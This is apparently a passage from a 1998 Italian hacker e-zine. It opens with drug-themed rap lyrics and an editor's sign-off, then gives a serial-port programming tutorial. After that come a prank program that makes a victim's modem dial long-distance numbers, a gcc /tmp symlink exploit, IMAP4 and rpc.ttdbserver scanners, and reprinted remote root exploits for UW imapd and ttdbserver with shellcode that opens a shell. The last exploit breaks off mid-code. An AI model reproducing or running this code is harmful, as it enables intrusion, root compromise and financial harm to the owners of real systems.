Con la mia ballotta fumo porra in quantita' / ta ta / tanto quanto basta / le
mie mani nella pasta / la mista e' ben farcita e io la faccio su / manco fossi
Mina vedo mille bolle blu / eh ehi Chi Chico se anche te sei come me / bella
li' / noi siamo soci nel T H C / plin plin senti come suona quando sale / fumo
la mia porra zero trip trip trip / fottono la testa di un guaglione con i bip
bip bip / io sono affezionato al dado Knorr / cartina filtro paglia fumo
uguale amor / porra nell'attesa ed ho l'aggiunta / la mia mistura e' ricca /
la dose esagerata che ti spacca / T H C e quando fumo hasish / sento gli
ultrasuoni e vedo a raggi x / vado sulla luna come Benten / parte l'astronave
delta 9 / ?jack? e Deda per la jam / bang / piena di grazia e' la mia pipa / e
porto marijuana in Vaticano come dono per il Papa / Santo Padre benedici la T
con H C / siamo complici / tipo e' lei che mi / ispira / s'aggira dentro di me
/ e manda fuori che non ce n'e' / fumo la porra zero pare Chico capisci /
perche' gia' sai Deda e' il guaglione per la legalizzazione / e se per quei
signori io sono ancora fuori / mi prendo cura dei miei affari / magari siamo
pari / rendo l'idea cremo punto e basta / c'e' sintonia con le mani in pasta /
fumo senza sosta non mettetemi alla sbarra / in testa c'ho la rima nella mano
c'ho la porra / ( Rit. ) Sangue Misto sempre nello stesso film / stessa
situazione / sempre con la mista nella mano di un guaglione ( 2x ) / e qui chi
c'e' / la N E F F A / un cane sciolto nella mia citta' / parlo della porra
perche' solo lei mi gusta / compro la mia stecca non mi compro mai la busta /
nasce dall'unione della terra con il sole / io la fumo dentro una cartina
perche' so che cosi' lei lo vuole / coi miei guaglioni da mattina a sera / la
porra lucida le rime come cera / Rit ( 2x )
9.3 Frases by Artisti vari
* 'La vita e' come uno specchio: se la rompi sono cazzi tuoi' by EleSSaR
* 'Il cuore e' come una puttana: se smette di battere, e' finita' by EleSSaR
* 'Fuma bene, fuma sano, fuma solo pakistano' by KaF
* 'Sto costruendomi il futuro, punto su me stesso non guardo in faccia a
nessuno, e se a qualcuno brucia il culo in guerra e' tutto legale come in
Olanda il fumo' by Dr. Slump
* 'Le persone fuggono le sensazioni restano sembra che scompaiano ma poi a
volte ritornano' by Dr.Slump
Capitolo 10 - La fine
Servono commenti su questo capitolo? Naaaaaa
10.1 Apoteosi finale
Cazzo, o meglio fika, anche per questo BFi 4 (che dovreste aver trovato sotto
l'albero di natale.) ho dato il mio contributo alkoliko. Spero naturalmente
che tutti voi proviate almeno parte delle "ricette" contenute in questa guida,
daltronde quale miglior occasione per il capodanno? Quando sarete li' con i
vostri bicchieri in mano dedicatemi almeno un brindisi pikkolo pikkolo, non mi
sembra di chiedere tanto. In questa guida, come avrete gia' notato oltre a
tutti i vecchi articoli ci sono moltissimi nuovi articoli che sicuramente
(spero) vi avranno stupito (se non e' cosi' che dire? Sti kazzi ;-) Cazzo noto
solo ora che mi sono spinto oltre le 25 pagine, quasi quasi ci faccio uno di
quei libri da mille lire. Daltronde anche questa e' cultura. Mmmh sincero non
so piu' che cosa cazzo dire, quindi vi lascio agli ultimi due paragrafi e vi
do appuntamento al prossimo numero di BFi (capodanno permettendo ;-)
10.2 Ringraziamenti Reprise
Ringrazio inanzitutto i miei due piu' fidi collaboratori:
pIGpEN: da grande voglio essere come te ;-)
EleSSar: la prossima volta niente origami ;-)
Ringrazio inoltre quelli che hanno collaborato le volte scorse:
Nello|Z + SMaster + DaMaDaFaKa + L3ChucK
Ringrazio tutto il s0ftpr0ject Group.
Ringrazio tutti i miei compagni di sbornia.
Ringrazio tutte le tipe che me l'hanno data.
10.3 Come Contattarmi
Per chi volesse partecipare alle prossime edizioni di questa "guida" ricordo
che l'indirizzo dove spedire materiale e' il seguente:
dr.slump@thepentagon.com
Per quanto possibile mi potrete anche beccare su IRCNet con il nick Dr_Slump.
Dr. Slump il vostro pusher di fiducia solo per BFi & s0ftpr0ject Crew.
Treccanne a.k.a. Siamo Fuori o no? v.3 by Dr. Slump & Friends
only 4 s0ftpr0ject Crew
-----------------------[ GESTi0NE P0RTE SERiALi iN UNiX ]---------------------
-----------------------------------[ pIGpEN ]---------------------------------
Per capire la gestione delle porte seriali su sistemi unix (ricordatevi che
sono sotto linux :) basta aver chiara la struttura termios contenuta nel file
termios.h (in linux nelle nuove versioni la troverete in termbits.h)
struct termios
{
tcflag_t c_iflag; /* input mode flags */
tcflag_t c_oflag; /* output mode flags */
tcflag_t c_cflag; /* control mode flags */
tcflag_t c_lflag; /* local mode flags */
cc_t c_line; /* line discipline */
cc_t c_cc[NCCS]; /* control characters */
speed_t c_ispeed; /* input speed */
speed_t c_ospeed; /* output speed */
};
Anche se questi campi sono parzialmente documentati spendiamo due parole:
-------------------------------[ c_iflag ]------------------------------------
utilizzato per l'elaborazione dell'input, e' molto importante
settarlo in modo corretto affinche' un altro computer o periferica
possano trasmettere dati comprensibili e soprattutto che questi
siano inviati. In particolare il valore ICRNL permette ad un
computer di terminare la stringa di comando con return.
VALORI:
IGNBRK ignore BREAK condition on input
BRKINT If IGNBRK is not set, generate SIGINT on BREAK con-
dition, else read BREAK as character \0.
IGNPAR ignore framing errors and parity errors.
PARMRK if IGNPAR is not set, prefix a character with a
parity error or framing error with \377 \0. If
neither IGNPAR nor PARMRK is set, read a character
with a parity error or framing error as \0.
INPCK enable input parity checking
ISTRIP strip off eighth bit
INLCR translate NL to CR on input
IGNCR ignore carriage return on input
ICRNL translate carriage return to newline on input
(unless IGNCR is set)
IUCLC map uppercase characters to lowercase on input
IXON enable XON/XOFF flow control on output
IXANY enable any character to restart output
IXOFF enable XON/XOFF flow control on input
IMAXBEL
ring bell when input queue is full
-------------------------------[ c_oflag ]------------------------------------
utilizzato per l'elaborazione dell'output
VALORI:
OPOST enable implementation-defined output processing
OLCUC map lowercase characters to uppercase on output
ONLCR map NL to CR-NL on output
OCRNL map CR to NL on output
-------------------------------[ c_cflag ]------------------------------------
e' il flag di controllo che contiene la configurazione della porta.
es. baudrate, il controllo di flusso ecc....
VALORI:
#define B50 0000001
#define B75 0000002
#define B110 0000003
#define B134 0000004
#define B150 0000005
#define B200 0000006
#define B300 0000007
#define B600 0000010
#define B1200 0000011
#define B1800 0000012
#define B2400 0000013
#define B4800 0000014
#define B9600 0000015
#define B19200 0000016
#define B38400 0000017
#define EXTA B19200
#define EXTB B38400
#define CSIZE 0000060
#define CS5 0000000
#define CS6 0000020
#define CS7 0000040
#define CS8 0000060
#define STOPB 0000100
#define CREAD 0000200
#define PARENB 0000400
#define PARODD 0001000
#define HUPCL 0002000
#define CLOCAL 0004000
#define CBAUDEX 0010000
#define B57600 0010001
#define B115200 0010002
#define B230400 0010003
#define B460800 0010004
#define CIBAUD 002003600000 /* input baud rate (not used) */
#define CRTSCTS 020000000000 /* flow control */
-------------------------------[ c_lflag ]------------------------------------
utilizzato per settare il local mode
#define ISIG 0000001
#define ICANON 0000002
#define XCASE 0000004
#define ECHO 0000010
#define ECHOE 0000020
#define ECHOK 0000040
#define ECHONL 0000100
#define NOFLSH 0000200
#define TOSTOP 0000400
#define ECHOCTL 0001000
#define ECHOPRT 0002000
#define ECHOKE 0004000
#define FLUSHO 0010000
#define PENDIN 0040000
#define IEXTEN 0100000
---------------------------------[ c_cc ]-------------------------------------
Array settato a NCCS valori (nel mio linux NCCS e' uguale a 32 ma potrebbe
variare). Questo e' importante per la fine del file, lo stop, il suspense...
/* c_cc characters */
#define VINTR 0
#define VQUIT 1
#define VERASE 2
#define VKILL 3
#define VEOF 4
#define VTIME 5
#define VMIN 6
#define VSWTC 7
#define VSTART 8
#define VSTOP 9
#define VSUSP 10
#define VEOL 11
#define VREPRINT 12
#define VDISCARD 13
#define VWERASE 14
#define VLNEXT 15
#define VEOL2 16
Come vedete i valori sono 17. Questo vuol dire che NCCS e' dimensionato per
un valore superiore... Tali valori non sono altro che gli indici dell'array
c_cc in una struttura termios.
Quindi per fare il setting dell'elemento con indice VSTOP si fara' cosi':
struct termios term1;
term1.c_cc[VSTOP]=0;
--8<-----------------------------[ esempio ]------------------------------>8--
/* Written by pIGpEN for BFi
Esempio di programma che gestisce una comunicazione tramite seriale
fino a quando un segnale di terminazione viene inviato.
Se non siete root potreste aver problemi nell'apertura della porta...
da root fate un chmod sulla porta cosi' ogni utente potra' aprirla.
*/
#include<stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <termios.h>
#define MODEM "/dev/ttyS1" // COM 2
#define ERROR -1
#define DIM_BUFFER 255 // e' consigliabile non modificare tale valore
#define BAUDRATE B38400
main()
{
int i=0,fd,r_read;
int check=0;
char buffer[DIM_BUFFER];
struct termios oldset,newset;
/* apriamo adesso il device modem in lettura-scrittura O_NOCTTY e' un
parametro importante per fare in modo che tty interagisca e possa
per esempio mandare un segnale di terminazione */
if((fd=open(MODEM, O_RDWR | O_NOCTTY ))==-1)
{
perror("open()");
exit(ERROR);
}
/* Prima di settare la porta seriale occore salvare il suo stato per
ripristinarlo a fine programma: la funzione per fare questo e' la
tcgetattr() mentre per ripristinare il tutto useremo la tcsetattr() */
if((check=tcgetattr(fd,&oldset))==-1)
{
perror("tcgetattr()");
exit(ERROR);
}
/* Ora che abbiamo salvato la configurazione originale della porta smanettiamo
una nuova configurazione */
bzero(&newset,sizeof(newset));
/* Valori spudoratamente ricopiabili dal .h :) */
newset.c_cflag = BAUDRATE | CRTSCTS | CS8 | CLOCAL | CREAD;
newset.c_iflag = IGNPAR | ICRNL;
newset.c_oflag = 0;
newset.c_lflag = ICANON;
newset.c_cc[VINTR] = 0; /* Ctrl-c */
newset.c_cc[VQUIT] = 0; /* Ctrl-\ */
newset.c_cc[VERASE] = 0; /* del */
newset.c_cc[VKILL] = 0; /* @ */
newset.c_cc[VEOF] = 4; /* Ctrl-d */
newset.c_cc[VTIME] = 0; /* inter-character timer unused */
newset.c_cc[VMIN] = 1; /* blocking read until 1 character arrives */
newset.c_cc[VSWTC] = 0; /* '\0' */
newset.c_cc[VSTART] = 0; /* Ctrl-q */
newset.c_cc[VSTOP] = 0; /* Ctrl-s */
newset.c_cc[VSUSP] = 0; /* Ctrl-z */
newset.c_cc[VEOL] = 0; /* '\0' */
newset.c_cc[VREPRINT] = 0; /* Ctrl-r */
newset.c_cc[VDISCARD] = 0; /* Ctrl-u */
newset.c_cc[VWERASE] = 0; /* Ctrl-w */
newset.c_cc[VLNEXT] = 0; /* Ctrl-v */
newset.c_cc[VEOL2] = 0; /* '\0' */
/* adesso mandiamo la nuova configurazione della porta */
tcflush(fd,TCIFLUSH);
tcsetattr(fd,TCSANOW,&newset);
/* questo loop si occupa di leggere ogni volta un buffer di dimensione
DIM_BUFFER e di scriverlo fino a quando un segnale di terminazione
viene inviato */
while(i==0)
{
r_read = read(fd,buffer,DIM_BUFFER);
buffer[r_read]=0;
printf(":%s:%d\n", buffer, r_read);
if (buffer[0]=='z') i=1;
}
/* rimettiamo la configurazione originale della porta */
tcsetattr(fd,TCSANOW,&oldset);
}
--8<-----------------------------[ esempio ]------------------------------>8--
/* BOLLETTA FUCKER
Written by pIGpEN for BFi
Leggendo un doc (non mi ricordo quale) avevo trovato uno scherzo da
fare ad uno che vi sta sulle palle e ha unix. Mettete questo programmino
come cron :)))))
Nell'INIT_D_STRING un numero a lunga distanza :)
( Naturalmente non usate questo programma: e' stato scritto solo a scopo
educativo )
*/
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#define MODEM "/dev/ttyS1" // COM 2
#define ERROR -1
#define INIT_D_STRING "ATX3DT66666666666666666666666666666\r"
main()
{
int fd;
if((fd=open(MODEM, O_RDWR | O_NOCTTY ))==-1)
{
perror("open()");
exit(ERROR);
}
write(fd, INIT_D_STRING, strlen(INIT_D_STRING));
close(fd);
}
--8<-----------------------------[ esempio ]------------------------------>8--
-----------------------[ GCC 2.7.2.x EXPL0iT: C VERSi0N ]---------------------
-----------------------------------[ pIGpEN ]---------------------------------
MUSiCA ASC0LTATA: Breakin Down -- Skid Row
SpECiAl FuCk: a questo exploit e alla mia pigrizia
/*
GCC 2.7.2.x exploit
Crea un link su un file temporaneo di gcc con destinazione -> victim_file
Il programma aspetta dei file tmp di gcc... e poi fa il link.
Uso: ./a.out /etc/passwd &
Spero che questa roba che ho scritto funga... il prog funziona cosi':
una volta eseguito per restare in background... cerca nella directory
/tmp dei file temporanei di gcc e grazie ad un bug (in pratica questi file
temporanei seguono il link simbolico) potete far vostro un file che non lo
e'...
Questo programma potrebbe essere scritto in modo piu' proficuo per esempio
leggendo attraverso una struttura di tipo "stat" l'uid del file temporaneo
e facendo quindi un link su .rhosts della home dell'utente con quell'id
e poi scrivendoci sopra un "+ +".
Sinceramente anche se e' abbastanza facile farlo non ho coglioni di scrivere
una cosa del genere visto che attualmente lavoro con una versione del gcc
gia' patchata :)
Questo programma puo' essere ottimizzato per esempio per essere reso piu'
veloce e per far si'che dopo un ciclo non vada a rifare i link su link
gia' creati prima...
Purtroppo capisco perche' Michal Zalewsky non abbia scritto una versione in
C di tale exploit... fare uno script bash di questo tipo non richiede
praticamente niente rispetto al programma...
Anch'io come pigrizia non scherzo... im sorry :) pIGpEN
*/
#include <unistd.h>
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <sys/resource.h>
#define EXPLOIT_NAME "gcc 2.7.2.X exploit"
#define ERROR -1
#define GCC_FILE "caa"
/* questa costante potrebbe causare problemi a file su /tmp che cominciano per
caa... ma sinceramente oggi sono troppo scazzato per cercare una soluzione a
tutti i problemi della vita :) */
main(int argc, char *argv[])
{
FILE *fp;
struct dirent **filelist;
char cmd[100];
int c_ret;
if(argc!=2)
{
system("clear");
printf("%s \nWritten by pIGpEN/s0ftpj\n",EXPLOIT_NAME);
printf("Exploit by Michal Zalewsky\n");
printf("Usage: %s victim_file\n",argv[0]);
exit(ERROR);
}
if((fp=fopen(argv[1],"r"))==NULL) // va bene anche l'access() con mode F_OK
{
printf("Victim File Not Found\n");
exit(ERROR);
}
else fclose(fp);
setpriority(PRIO_PGRP,0,20);
for(;;)
{
c_ret = scandir("/tmp", &filelist, 0, alphasort);
while(c_ret--)
{
if(strstr(filelist[c_ret]->d_name,GCC_FILE)!=NULL)
{
sprintf(cmd,"ln -sf %s /tmp/%s",argv[1],filelist[c_ret]->d_name);
system(cmd);
}
}
}
}
------------------------------[ iMAP4 SCANNER ]-------------------------------
----------------------------------[ pIGpEN ]----------------------------------
CONSUMO: 1 pepsi-cola
1 confezione di golia bianca
MUSICA ASCOLATA: Alabama Gateway -- Grateful Dead
SALUTI: Jerry Garcia (morto o vivo per me sei sempre vivo)
Devo ammettere che dopo l'imap 3 pensavo di aver archiviato per sempre il
problema dell'imap... invece a quei cazzoni dell'universita' di Washington
e' stato reso noto un bug contenuto nella funzione mail_auth... come viene
ben spiegato su rootshell.
char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
{
char tmp[MAILTMPLEN];
AUTHENTICATOR *auth;
/* make upper case copy of mechanism name */
ucase (strcpy (tmp,mechanism));
for (auth = mailauthenticators; auth; auth = auth->next)
if (auth->server && !strcmp (auth->name,tmp))
return (*auth->server) (resp,argc,argv);
return NIL; /* no authenticator found */
}
The problem lies in the strcpy() call that copies the contents of mechanism
to tmp which resides on the stack as an automatic variable. The tmp buffer
is MAILTMPLEN bytes in size, with MAILTMPLEN defined to be 1024 in mail.h.
However, the command string read from the client by the server is placed
into a buffer TMPLEN bytes in size, with TMPLEN defined to be 8192 in
imapd.c, thus allowing the passing of arguments to mail_auth() that greatly
exceed the size of its temporary buffer. Since the IMAP server has not
yet given up its root privileges at this stage of the login process, this
programming oversight can be exploited to yield root compromise on the IMAP
server machine.
---------------------------------[taglia qui]---------------------------------
/* IMAP4 SCANNER
Scritto da pIGpEN per BFi Speciale Natale 98
N0TE: questo scanner e' un adattamento dello statdscanner di Bit... alla
fine del source mi sono chiesto: "forse facevo prima a riscrivere
tutto?" (lo statd come il mountd scanner prende info via rpc come
ben sapete). Questo scanner puo' facilmente essere adattato alle
versione successive dell'imap cambiando la costante IMAP_VERS...
quindi discorso imap chiuso per sempre :)
*/
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <string.h>
#define IMAP_PORT 143
#define IMAP_VERS "IMAP4"
int statd(char *host);
unsigned long int res(char *p);
void usage(char *s);
void scan(char *i, char *o);
void usage(char *s)
{
printf("Usage: %s inputfile outputfile\n",s);
exit(-1);
}
void main(int argc, char **argv)
{
printf("IMAP4 scanner by pIGpEN/S0ftPj\n\n",argv[0]);
if(argc<3)
usage(argv[0]);
scan(argv[1],argv[2]);
}
void scan(char *i, char *o)
{
FILE *iff, *of;
char buf[512];
if((iff=fopen(i,"r")) == NULL)
return;
while(fgets(buf,512,iff) != NULL)
{
if(buf[strlen(buf)-1]=='\n')
buf[strlen(buf)-1]=0;
if(statd(buf) && (of=fopen(o,"a")) != NULL) {
buf[strlen(buf)+1]=0;
buf[strlen(buf)]='\n';
fputs(buf,of);
fclose(of);
}
}
fclose(iff);
}
int statd(char *host)
{
struct sockaddr_in server_addr;
int s,check=0;
char buffer[200];
server_addr.sin_addr.s_addr=res(host);
server_addr.sin_family=AF_INET;
server_addr.sin_port = htons(IMAP_PORT);
s=socket(AF_INET,SOCK_STREAM,0);
check=connect(s,(struct sockaddr *) &server_addr,sizeof(server_addr));
if (check!=0) return 0;
read(s,buffer,sizeof(buffer));
if(strstr(buffer,IMAP_VERS)) return 1;
return 0;
}
unsigned long int res(char *p)
{
struct hostent *h;
unsigned long int rv;
h=gethostbyname(p);
if(h!=NULL)
memcpy(&rv,h->h_addr,h->h_length);
else
rv=inet_addr(p);
return rv;
}
---------------------------------[taglia qui]---------------------------------
Attenzione: modificate la costante IMAP_VERS a vostra convenienza.
Attualmente le versioni buggate sembrano essere l'IMAP4.1 distribuita con
Pine 4.00 e alcune versioni precedenti... eccovi qui maggiori info:
VULNERABLE SYSTEMS
Initial analysis seems to indicate that versions of the UW imapd IMAP 4.1
server up through version 10.234 distributed as part of the Pine 4.00
distribution are vulnerable. Versions as old as 10.191 have been analyzed
and found to be vulnerable, and it is believed that earlier versions are
likely vulnerable, as well. It may be safe to assume that all versions of
imapd (previous to and including the version distributed with Pine 4.00)
that support the IMAP AUTHENTICATE command are vulnerable.
At the present time it is not known if any UW imapd IMAP2bis servers are
vulnerable to this specific hole, but they are likely vulnerable to the
older LOGIN hole described in the advisories referenced above.
I remote exploit li potete trovare su rootshell... vi lascio qui solo quello
per linux tratto sempre dal buon sito www.rootshell.com
---------------------------------[taglia qui]---------------------------------
/*
UW Imap remote exploit for x86Linux by Juan A. Fernandez Jiminez
(carlosfdez@redestb.es)
Systems affect: Ummm...I only tested it in IMAP4rev1v10.203
Greetz to: Koji, Sud, Darkmoon, Marneus...
How to use: # (./imaplinux;cat) | nc target_host 143
Note:
This exploit is based in the remote exploit created by Cheez Whiz.
You feel free to change the nops,offsets and esp...the shellcode is
all original from me... :P ...no problems with toupper()
ESP=0xBFFFF04C for v10.203
22/07/98 23:26
*/
#define BUF 2048
#define NOP 0x90
char shellcode[]=
"\xeb\x33\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x80\x46"
"\x01\x80\x80\x46\x02\x80\x80\x46\x03\x80\x80\x46\x05\x80\x80\x46"
"\x06\x80\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xc8\xff\xff\xff/bin/sh.........";
char buffer[BUF];
long int nop=422,esp=0xBFFFF04C,offset=100;
void main() {
int cont;
memset(buffer,NOP,sizeof(buffer));
memcpy(buffer+nop,shellcode,strlen(shellcode));
for(cont=nop+strlen(shellcode);cont < BUF-4;cont+=4) *((int *) &buffer[cont])=esp+offset;
printf("* AUTHENTICATE {%d}\r\n",BUF);
for(cont=0;cont<sizeof(buffer);cont++) putchar(buffer[cont]);
printf("\r\n");
}
---------------------------------[taglia qui]---------------------------------
Ok tutto qui.
Byez
pIGpEN
---------------------------[ RPC.TTDBSERVER SCANNER ]-------------------------
-----------------------------------[ pIGpEN ]---------------------------------
Prima di descrivere il bug ecco qui lo scanner... tanto so come ragiona gran
parte delle persone ;)
---------------------------------[taglia qui]---------------------------------
/* Questo e' un rpc.ttdbserver scanner, visto che la modifica dello statd
scanner in questo caso mi e' costata qualke secondo non me ne prendo il
merito... trovo assurdo che su rootshell vengano messi scanner di questo
tipo. L'originale e' lo statd di BiT! In questo scanner ho messo una
costante di nome RPC_NAME adattando questa a un determinato servizio rpc
potete creare quanti scanner x rpc volete ... */
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <signal.h>
#include <rpc/rpc.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#define ERROR -1
#define RPC_NAME "ttdbserver"
void woopy(int s);
void usage(char *s);
void scan(char *i, char *o);
int statd(char *host);
unsigned long int res(char *p);
void usage(char *s)
{
printf("rpc.ttdbserver scanner\n");
printf("Usage: %s <inputfile> <outputfile>\n",s);
exit(ERROR);
}
void main(int argc, char **argv)
{
if(argc < 3) usage(argv[0]);
scan(argv[1], argv[2]);
}
void scan(char *i, char *o)
{
FILE *iff, *of;
char buf[512];
if((iff=fopen(i,"r")) == NULL)
return;
while(fgets(buf,512,iff) != NULL)
{
if(buf[strlen(buf)-1]=='\n')
buf[strlen(buf)-1]=0;
printf("\n%s",buf); /* Modifica per vedere l'host corrente */
if(statd(buf) && (of=fopen(o,"a")) != NULL) {
buf[strlen(buf)+1]=0;
buf[strlen(buf)]='\n';
fputs(buf,of);
fclose(of);
}
}
fclose(iff);
}
void woopy(int s)
{
return;
}
int statd(char *host)
{
struct sockaddr_in server_addr;
struct pmaplist *head = NULL;
int sockett = RPC_ANYSOCK;
struct timeval minutetimeout;
register CLIENT *client;
struct rpcent *rpc;
server_addr.sin_addr.s_addr=res(host);
server_addr.sin_family=AF_INET;
server_addr.sin_port = htons(PMAPPORT);
minutetimeout.tv_sec = 15;
minutetimeout.tv_usec = 0;
signal(SIGALRM,woopy);
alarm(15);
if ((client = clnttcp_create(&server_addr, PMAPPROG,
PMAPVERS, &sockett, 50, 500)) == NULL) {
alarm(0);
signal(SIGALRM,SIG_DFL);
return 0;
}
alarm(0);
signal(SIGALRM,SIG_DFL);
if (clnt_call(client, PMAPPROC_DUMP, (xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS)
return 0;
if (head != NULL)
for (; head != NULL; head = head->pml_next)
if((rpc = getrpcbynumber(head->pml_map.pm_prog)))
if(strcmp(rpc->r_name,RPC_NAME) == 0)
return 1;
return 0;
}
unsigned long int res(char *p)
{
struct hostent *h;
unsigned long int rv;
h=gethostbyname(p);
if(h!=NULL)
memcpy(&rv,h->h_addr,h->h_length);
else
rv=inet_addr(p);
return rv;
}
---------------------------------[taglia qui]---------------------------------
P.S.: per farsi una lista di ip da un'interrogazione host non serve scrivere
un programmino in c basta lanciare da shell il comando cut:
cut -d " " -f 1 domainlist > txtlist
:)
il programmino in c ha senso solo se elimina gli eventuali doppioni... ma
visto che non ne ho ancora trovato uno che lo fa... preferisco usare il
cmd da shell e sono troppo pigro per scrivere un sorgente :)
Il report di rootshell sul bug e' il seguente:
---------------------------------[taglia qui]---------------------------------
/* [ http://www.rootshell.com/ ] */
/*
rpc.ttdbserver remote overflow, apk
Solaris (tested on SS5 and Ultra 2.5.1)
Irix (tested on r5k and r10k O2 6.3),
HP-UX ( tested on 700s 10.20)
usage: ./r [-ku] [-p port] [-f outfile] host cmd
-k : kill ttdbserver (read below)
-u : use UDP (default TCP)
-p port : connect to ttdbserver at port (don't ask portmap)
-f outfile : store rpc message in outfile (and do NOT contact host)
note:
it should compile on any normal system, to get HP-UX exploit compile with
-DHPUX, for Solaris -DSOLARIS, for Irix use -DIRIX
cmd is run through sh -c, and there is no practical limit for command
length, but it has to fit in buffer (1024 bytes in this case),
and ~(strlen + 1) cannot contain '0'
by default ttdbserver runs from inetd, so it will be respawned each time
it die (I mean execute command), also because it dies correct reply is
clnt_call error (connection reset, timeout etc)
-f file option: On HP-UX and Irix, connected socket gets first free
descriptor, 3 on HP-UX and 5 on Irix. You can use -f option to store
datagram to file, and send it to ttdbserver with your telnet of
choice. With command like "0<&3 1>&3 2>&3 exec sh" on HP-UX you'll get
remote shell running. Solaris dup() connected fd to first free one
over 256, so you have to study sh man page to find a way to do this <g>
You should kill ttdbserver before, to make sure it doesn't have
any files open except 0-2 fds passed from inetd. Actually on Irix
it looks like fucked up, ttdbserver gets 0-2 fds from inetd, ignores
them and opens new ones as 3 and 4 fd, so you need to redirect 5th fd.
It happens on 6.3 at least, I need to look at other versions.
Irix is also the only one I saw which supports ttdbserver over UDP,
keep in mind that by default generated RPC datagram is TCP version with
record marking, you should use -u option to get UDP version (or just remove
first four bytes from generated file)
for reasons I can't quite understand, you _have_ to kil ttdbserver on Solaris
before sending a command there. When ttdbserver has connected clients,
it simply returns an error (filename too long). In both cases
it looks like the program goes through the same way, well, maybe I'll
get a clue one day what happens there.
On Irix to get over its fucked up cache, I simply send like 20kb to make
it flushed, so it's not reliable. You can find a buffer allocated by xdr
and it should be better.
surprizingly there are some differences between ttdbserver on above platforms,
like solaris dup() of fds, start-up Irix behaviour, the fact that
on Irix it first tries chdir to directory then do some task (it's the
reason I have to add "/f" at the end of buffer to have it copy overflow
part of the buffer on stack) etc. That's why it may not work on other
systems and versions than mentioned at the beginning.
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#define PORT 0
#define BSIZE 1024
#if defined(SOLARIS)
# define SP 0xefffd618
# define LENOFS 80
char asmcode[]="\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x92\x03\xe0\x48\x90\x02\x60\x10\xe0\x02\x3f\xf0\xa2\x80\x3f\xff\xa0\x24\x40\x10\xd0\x22\x3f\xf0\xc0\x22\x3f\xfc\xa2\x02\x20\x09\xc0\x2c\x7f\xff\xe2\x22\x3f\xf4\xa2\x04\x60\x03\xc0\x2c\x7f\xff\xe2\x22\x3f\xf8\xa2\x04\x40\x10\xc0\x2c\x7f\xff\x82\x10\x20\x0b\x91\xd0\x20\x08\xff\xff\xff\xfc\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x80\x1c\x40\x11";
#endif
#if defined(HPUX)
# define SP 0x7b03cc10
# define LENOFS 84
char asmcode[]="\xeb\x40\x40\x02\x0b\x39\x02\x80\xd7\x40\x0c\x1e\xb7\x5a\x20\xb8\x0b\x5a\x02\x59\x0f\x21\x10\x98\x97\x18\x07\xff\x0f\x39\x12\x81\x0f\x20\x12\x99\xb7\x39\x20\x10\x0f\x20\x12\x1f\x0f\x59\x12\x89\xb7\x39\x20\x06\x0f\x20\x12\x1f\x0f\x59\x12\x91\x0b\x38\x06\x19\x0f\x20\x12\x1f\xb7\x59\x07\xe1\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x10\x16\x11\x11\x11\x11\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x0b\x39\x02\x80";
#endif
#if defined(IRIX)
# define SP 0x7fff1b30
# define LENOFS 76
char asmcode[]="\x04\x10\xff\xff\x27\xe4\x01\x01\x24\x84\xff\x5e\x8c\x8c\xff\xe5\x24\x0d\xff\xff\x01\xac\x60\x23\x01\x84\x60\x20\xa1\x80\xff\xff\xa0\x80\xff\xff\xac\x84\xff\xed\x24\x84\xff\xfd\xa0\x80\xff\xff\xac\x84\xff\xec\x24\x84\xff\xf8\x24\x85\xff\xf0\xac\x84\xff\xf0\xac\x80\xff\xfc\x24\x02\x03\xf3\x02\x04\x8d\x0c\xff\xff\xff\xfc\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x24\x0f\x12\x34";
#endif
#define TT_DBSERVER_PROG 100083
#define TT_DBSERVER_VERS 1
#define _TT_P 7
struct tt_reply {
int i1;
int i2;
};
void usage(char *s) {
printf("Usage: %s [-ku] [-p port] [-f outfile] host cmd\n", s);
exit(0);
}
bool_t xdr_tt_reply(XDR *xdrs, struct tt_reply *objp) {
if (!xdr_int(xdrs, &objp->i1))
return (FALSE);
if (!xdr_int(xdrs, &objp->i2))
return (FALSE);
return (TRUE);
}
void make_file(char *fname, char *buf, int type);
main(int argc, char *argv[]) {
extern int optind;
extern char *optarg;
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct hostent *hp;
struct sockaddr_in target;
struct tt_reply op_res;
char buf[64000], *path, *cmd, *host, *bp, *outfile = NULL;
int sd, i, sp = SP, bsize = BSIZE, port = PORT, kill = 0, proto = 0;
while ((i = getopt(argc, argv, "ukp:f:")) != EOF)
switch (i) {
case 'p':
port = atoi(optarg);
break;
case 'k':
kill = 1;
break;
case 'u':
proto = 1;
break;
case 'f':
outfile = optarg;
break;
default:
usage(argv[0]);
}
if (argc - optind < 2)
usage(argv[0]);
cmd = argv[optind + 1];
host = argv[optind];
for (i = 0; i < sizeof(buf); i++)
